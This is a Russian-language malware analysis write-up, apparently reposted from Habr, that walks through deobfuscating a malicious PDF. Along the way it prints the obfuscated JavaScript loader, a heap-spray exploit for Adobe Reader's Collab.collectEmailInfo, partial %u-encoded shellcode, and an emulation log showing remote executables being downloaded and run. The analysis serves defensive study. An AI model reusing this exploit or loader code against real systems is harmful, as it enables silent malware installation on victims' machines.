Анализ подозрительных PDF файлов

от автора

Несколько месяцев назад я столкнулся с интересной задачей по анализу подозрительного pdf файла. К слову сказать, обычно я занимаюсь анализом защищенности веб приложений и не только веб, и не являюсь большим экспертом в направлении malware analysis, но случай представился довольно любопытный.

Практически все инструменты представленные в данной статье содержаться в дистрибутиве Remnux, созданном специально в целях reverse engineering malware. Вы можете сами загрузить себе образ виртуальной машины для VirtualBox или Vmware.

Первым делом я проанализировал полученный экземпляр с помощью скрипта pdfid:

PDF Header: %PDF-1.3 obj 11 endobj 11 stream 4 endstream 4 xref 1 trailer 1 startxref 1 /Page 1 /Encrypt 0 /ObjStm 0 /JS 1 /JavaScript 1 /AA 0 /OpenAction 1 /AcroForm 0 /JBIG2Decode 0 /RichMedia 0 /Launch 0 /EmbeddedFile 0 /XFA 0 /Colors > 2^24 0

Сразу же обратил внимание на обнаруженные OpenAction и Javascript. Дальше использовал pdf-parser для парсинга файла:

obj 1 0 Type: /Catalog Referencing: 2 0 R, 4 0 R << /Type /Catalog /PageLayout /SinglePage /Pages 2 0 R /OpenAction 4 0 R >>

Обратил внимание, что OpenAction вызывает Javascript в 4 объекте, который в свою очередь связан с закодированным Flatedecode объектом 5:

obj 4 0 Type: /Action Referencing: 5 0 R << /Type /Action /S /JavaScript /JS 5 0 R >> obj 5 0 Type: Referencing: Contains stream << /Length 394 /Filter /FlateDecode >>

Декодировал javascript код с помощью все того же pdf-parser:

Привел к удобному виду, для этого можно воспользоваться js-beautify:

var sum = ''; var duct = 300; var os = ""; var pr = null; var num = 1; var func = 'd'; app.doc.syncAnnotScan(); if (app.plugIns.length < 1) { func += "4"; num = 0; } if (!(app.plugIns.length < 0)) { var xnm = { nPage: 0 }; pr = app.doc.getAnnots(xnm); sum = pr[num].subject; } if (app.plugIns.length > 2) { var buf = sum.split(/-/); var ap = this; var acc = ap [ "une" + "sca" + "pe" ]; var src = String ["fromC"+"harC"+"ode" ]; for (var n = 0; n < buf.length-1; n++) os += acc( src(37) + buf[n+1] ); func = ""; if (app.plugIns.length > 0) { if (!(app.plugIns.length > 0)) { func += "abd"; num = 123; } num = 0; ap ['ev' + func + src(77+20) + "l" ](os); num = 0; } }

На первый взгляд им была обнаружена уязвимость CVE-2009-1492, связанная с выполнением произвольного кода или отказа в обслуживании через Adobe Reader и Adobe Acrobat версий 9.1, 8.1.4, 7.1.1 и ранних версий, с помощью pdf файла, содержащего annotaion и использующего метод getAnnots. Но если проверить мои результаты, полученные выше, с соответствующим exploit-ом, то обнаруживается, что эта уязвимость не имеет отношения к текущему случаю. В нашем варианте annotaion используется для хранения большой части скрипта в том числе в целях обфускации.

Данные из annotaion вызываются методом getAnnots и находятся в объекте 9 нашего файла(как показал pdfparser). Сохраним полученный javascript код, добавив к нему поток из объекта 9. Обычно, первым шагом для безопасного выполнения кода является замена функции eval безобидным alert или console.log и открытии файла с помощью браузера. Также в этих целях можно использовать Spidermonkey. Основные необходимые нам функции и переменные уже определены в файле pre.js, который вы также можете обнаружить в дистрибутиве Remnux.

Неплохо. После запуска Spidermonkey мы получили новый скрипт, который использует функции eval и поток данных из объекта 7:

function LnX6eI__qBoDrb5(Xj__TJe_0_j, Sut0_yx_4){ var O_6__t8 = 20; var LK__SC__k = 0; var Yf2_7661XQk3t = 512; var M__D2__r_5_I7_D = O_6__t8; var k12_hf_0p2_30aB = ""; var m57_Ww_VVKg = 4; var P_A7_cf7J = this ; var uvD2__e0__4W = "1234ee"; var Ja4_hF_A41Ch510 = arguments; try { var YNS0B64n__I_E = 0; if (app){ M__D2__r_5_I7_D = M__D2__r_5_I7_D + 2; Sut0_yx_4 = pr[YNS0B64n__I_E].subject; } uvD2__e0__4W = uvD2__e0__4W.replace(/\d+/, "call"); } catch (e){ } …. LnX6eI__qBoDrb5(0, "b02h8a6b5h47a7a0353ha0agbe863926927d6i399fc16014550ebd6516171b6e243d5c5gcd4073a1795jaf7f5348a8aa58953eab208d36cfb6c765479dcab32g4e221f3727140i4hc9667ha1bh8ca1ba9g6003cc439f082042074e10150g7j3h8e..... …. ");
После рефакторинга получаем:
function func_01(arg_0, arg_1) { var v0 = 20; var v1 = 0; var v2 = 512; var v3 = v0; var v4 = ""; var v5 = 4; var v6 = this; var v7 = "1234ee"; var v8 = arguments; try { var v9 = 0; if (app) { v3 = v3 + 2; arg_1 = pr[v9].subject; } v7 = v7.replace(/\d+/, "call"); } catch (e) {} v3 = v3 - v0; var v10 = new Array(); var v11 = 150; if (v11 > 0) { v10[0] = v11; v10[1] = v2; v10[0] = v10[0] - v11; v10[2] = v10[0]; v10[1] = v10[1] - v2; v10[3] = v10[1]; } if (arg_0) { v10 = arg_0; } if (!arg_0) { var v12 = v8[v7].toString(); //arguments.callee.toString(); var v13 = 0; var v14 = v13; v11 = v11 - 102; //150 – 102 = 48 var v15 = 0; while (v14 < v12.length) { //while(0<arguments.callee.toString().length); v15 = v12.charCodeAt(v14); // arguments.callee.toString().charCodeAt(0); if (v15 >= v11 && v15 <= 57) { if (v13 == v5) { v13 = -1; } if (v13 < 0) { v13 = 0; } v10[v13] += v15; if (v10[v13] > v2) { v10[v13] -= v2; } v13 = v13 + 1; } v14 = v14 + 1; } } var v16 = 0; var v17 = 0; var v18 = -1; var v19 = 0; var v20 = 0; do { var v21 = 256; if (v10[v19] > v21) { v10[v19] -= v21; } v19 = v19 + 1; } while (v19 < v5); v19 = v19 - v5; while (v19 < arg_1.length) { var v22 = arg_1.substr(v19, 1) + ' V V '; v19 = v19 + 1; var v23 = parseInt(v22, v0); if (v18 != -1) { v17 += v23; if (v16 == v5) { v16 = 0; } var v24 = v17; v24 = v24 - (v20 + 2) * v10[v16]; if (v24 <= 0) { v24 = v24 - Math.floor(v24 / 256) * 256; } v24 = String.fromCharCode(v24); if (v3 == 1) { v4 += v23; } else if (v3 == 2) { v4 += v24; } else { v4 += v19; v18 = -2; } v18 = -1; v16 = v16 + 1; v20 = v20 + 1; } else if (v18 == -1) { v18 = v0; v17 = v23 * v0; } } var v25 = this; v25['eval'](v4); } func_01(0, "b02h8a...... ….

Наиболее интересная вещь в данном скрипте скрыта в переменной var v12 – это функция arguments.callee. Arguments.callee обозначает вызов самой текущей исполнемой функции. Таким образом этот код использует сам себя в целях обфускации. То есть если вы изменяете что то в текущем коде (как я делал ранее при рефакторинге или замене функции eval на alert) вы сломаете всю следующую часть расшифровки. Но не стоит отчаиваться. Статьи, описывающие подобные ситуации: isc.sans.org/diary/Browser+*does*+matter%2C+not+only+for+vulnerabilities+-+a+story+on+JavaScript+deobfuscation/1519, isc.sans.edu/diary/Static+analysis+of+malicous+PDFs+%28Part+%232%29/7906 и www.nobunkum.ru/ru/flash (от Алисы Шевченко).

В этом случае мы можем заменить вызов arguments.callee.toString().length на длину самой функции и идти дальше, заменяя вызов arguments.callee.toString().charCodeAt(0) первым символом в строке нашей функции.

Нет необходимости декодировать весь код, достаточно выполнить полученный скрипт с данными с помощью все того же spidermonkey или воспользоваться jsunpack.

Финальный скрипт выглядел так:

var C__IC5 = new Array(); var c__fqx1kX_j7_o = 0; var f520T_5lgB_18Rk = ""; function ki1K8ydoVI_X_f(E81L1G8LUs4H, a5_G7_Y){ var M5Klbt_L = a5_G7_Y.toString(); var UY__3N = ""; …. if (app.viewerVersion == 9.103 && xr_1d__1g_Y < 9.13){ xr_1d__1g_Y = 9.13; } if (!(xr_1d__1g_Y < 9 || xr_1d__1g_Y >= 9.2) || !(xr_1d__1g_Y < 8 || xr_1d__1g_Y >= 8.17) || !(xr_1d__1g_Y < 7 || xr_1d__1g_Y >= 7.14)){ Y8tju_86jgt_g7d(xr_1d__1g_Y); }
После рефакторинга получил:
var gvar_0 = new Array(); var gvar_1 = 0; var gvar_2 = ""; function func_01(arg_0, arg_1) { var v0 = arg_1.toString(); var v1 = ""; for (var v2 = 0; v2 < v0.length; v2++) { var v3 = parseInt(v0.substr(v2, 1)); if (!isNaN(v3)) { v3 = v3.toString(16); if (v3.length == 1) { v3 = "0" + v3; } else if (v3.length != 2) { v3 = "00"; } v1 = v3 + v1; } } while (v1.length < 8) { v1 = "0" + v1; } var v4 = arg_0.toString(16); if (v4.length == 1) { v4 = "0" + v4; } else if (v4.length != 2) { v4 = "00"; } v1 = "3" + v4 + "P" + v1; return v1; } function func_02(arg_0, arg_1) { var v0 = new Array(""); var v1 = arg_0; var x3l3Y5Us4__3; if ((x3l3Y5Us4__3 = arg_0.lastIndexOf("%u00")) != -1) { if (x3l3Y5Us4__3 + 6 == arg_0.length) { v0[0] = arg_0.substr(x3l3Y5Us4__3 + 4, 2); v1 = arg_0.substring(0, x3l3Y5Us4__3); } } x3l3Y5Us4__3 = 1; for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < arg_1.length; fr___rItg7HCnRr++) { var v2 = arg_1.charCodeAt(fr___rItg7HCnRr).toString(16); if (v2.length == 1) { v2 = "0" + v2; } v0[x3l3Y5Us4__3] = v2; x3l3Y5Us4__3++; } fr___rItg7HCnRr = v0[0].length ? 0 : 1;v0[x3l3Y5Us4__3] = "00";v0[x3l3Y5Us4__3 + 1] = "00";x3l3Y5Us4__3 += 2; if ((v0.length - fr___rItg7HCnRr) % 2) { v0[x3l3Y5Us4__3] = "00"; } while (fr___rItg7HCnRr < v0.length) { v1 += "%u" + v0[fr___rItg7HCnRr + 1] + v0[fr___rItg7HCnRr]; fr___rItg7HCnRr += 2; } v1 += "%u0000"; return v1; } function func_03(arg_0, arg_1) { while (arg_0.length * 2 < arg_1) { arg_0 += arg_0; } arg_0 = arg_0.substring(0, arg_1 / 2); return arg_0; } function func_04(arg_0, arg_1, gvar_3) { var v0 = 0x0c0c0c0c; var v1 = unescape(arg_1); var v2 = func_01(arg_0, arg_2); var v3 = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51..... …. var v4 = "%u9050%u9050%u9050%u9050%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%ueb00%ue900%u00fc%u0000%u645f%u30a1%u0000%u7800%u8b0c%u0c40%u708b%uad1c%..... ….. app.b5t8_3a = unescape(func_02(v4, v2)); var v5 = 0x400000; var v6 = v3.length * 2; var v7 = v5 - (v6 + 0x38); v1 = func_03(v1, v7); var v8 = (v0 - 0x400000) / v5; for (var v9 = 0; v9 < v8; v9++) { gvar_0[v9] = v1 + v3; } } function func_05() { var v0 = ""; for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 12; fr___rItg7HCnRr++) { v0 += unescape("%u0c0c%u0c0c"); } var v1 = ""; for (fr___rItg7HCnRr = 0; fr___rItg7HCnRr < 750; fr___rItg7HCnRr++) { v1 += v0; } this.collabStore = Collab.collectEmailInfo({ subj: "", msg: v1 }); app.clearTimeOut(gvar_1); } function func_06(arg_0) { var v0 = gvar_1; if ((arg_0 >= 8 && arg_0 < 8.11) || arg_0 < 7.1) { func_04(23, "%u0c0c%u0c0c", arg_0); app.d_AUYb_6j8_5r = func_05; gvar_1 = app.setTimeOut("app.d_AUYb_6j8_5r()", 1); } func_04(13, "%u0c0c%u0c0c", arg_0); if (v0) { app.clearTimeOut(v0); } } var gvar_3 = 0; var gvar_4 = app.plugIns; for (var gvar_5 = 0; gvar_5 < gvar_4.length; gvar_5++) { var gvar_6 = gvar_4[gvar_5].version; if (gvar_6 > gvar_3) { gvar_3 = gvar_6; } } if (app.viewerVersion == 9.103 && gvar_3 < 9.13) { gvar_3 = 9.13; } if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) { func_06(gvar_3);

После анализа финального скрипта можно сделать несколько выводов:
1. Подтверждение предположения jsunpack о используемой в эксплоите функции Collab.collectEmailInfo и heap spray:

v0 += unescape("%u0c0c%u0c0c"); // 0x0c0c0c0c -это очень популярные данные из heap spray эксплоитов. this.collabStore = Collab.collectEmailInfo({ subj: "", msg: unescape("%u0c0c%u0c0c") });

Детали уязвимости описаны тут: cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659. Пару публичных эксплоитов можно обнаружить здесь: downloads.securityfocus.com/vulnerabilities/exploits/27641-collectEmailInfo-PoC.txt, www.exploit-db.com/exploits/16674/.

Как видно во втором случае используются наши unescape("%u0c0c%u0c0c") и this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});

2. В функции func_04 использована переменная var v0 также со значением 0x0c0c0c0c, что как бы намекает на наличие heap spray эксплоита. Почему это значение столь популярно можно почитать тут www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/.

В переменных v3, v4 просматривается shellcode из-за наличия серии NOP инструкций в начале значений переменных.

Чтобы подтвердить мои предположения я использовал эмулятор libemu из бесплатного продукта PDFStreamDumper со значением, взятым из переменной v4. Также libemu вы можете найти и в Remnux:

Бинго. Обнаружился url xxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010 который и использовался для загрузки с последующем исполнением нашего вредоноса:

Extracted URL: http://xxxxxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010 0x91 push_urlmon (signature) Unpack Log: -------------------------------------------------- Loaded 4b8 bytes from file .\tmp.sc Detected %u encoding input format converting... Byte Swapping %u encoded input buffer.. Memory monitor enabled.. Initilization Complete.. Dump mode Active... Max Steps: 2000000 Using base offset: 0x401000 401055 LoadLibraryA(urlmon) 401084 GetTempPathA(len=104, buf=12fce0) = 22 4010bc URLDownloadToFileA(http://xxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010100, C:\Users\Admin\AppData\Local\Temp\lthm.exe) 4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\lthm.exe) 4010bc URLDownloadToFileA(http://xxxxc.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010101, C:\Users\Admin\AppData\Local\Temp\egWl.exe) 4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\egWl.exe) 4010bc URLDownloadToFileA(http://xxxxx.info/cgi-bin/io/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010102, C:\Users\Admin\AppData\Local\Temp\CqTM.exe) 4010c7 WinExec(C:\Users\Admin\AppData\Local\Temp\CqTM.exe) 4010d5 ExitProcess(1432107587) Stepcount 300624 Primary memory: Reading 0x192 bytes from 0x401000 Scanning for changes... Change found at 287 dumping to .\tmp.unpack Data dumped successfully to disk Memory Monitor Log: *PEB (fs30) accessed at 0x40101f peb.InInitializationOrderModuleList accessed at 0x40102a

3. Также параметры сравнения, обнаруженное в скрипте:
if (!(gvar_3 < 9 || gvar_3 >= 9.2) || !(gvar_3 < 8 || gvar_3 >= 8.17) || !(gvar_3 < 7 || gvar_3 >= 7.14)) { func_06(gvar_3);
выглядят также как описано в CVE-2009-2990: Ошибка индекса в массиве Adobe Reader и Acrobat 9.x до версии 9.2, 8.x и 8.1.7, а также с версии 7.x до 7.1.4 позволяет выполнить произвольный код.
В кодируемом FlateDecode потоке объекта 11 мы также обнаруживаем код в U3D:
/Subtype /U3D /Length 27384 /Filter /FlateDecode >> 'U3D\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00$\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00j\x00\x00\x00\x15\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xff\xff\xff\x88\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"\xff\xff\xffb\x00\x00\x00\x00\x00\x00\x00\t\x00VcgMesh01

Теперь мы имеем URL, Shellcode, несколько CVE и этого вполне достаточно для данной статьи.

Автор статьи: Андрей Ефимюк, эксперт в области ИБ, OSCP, eCPPT, хороший друг PentestIT.

ссылка на оригинал статьи http://habrahabr.ru/company/pentestit/blog/209110/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *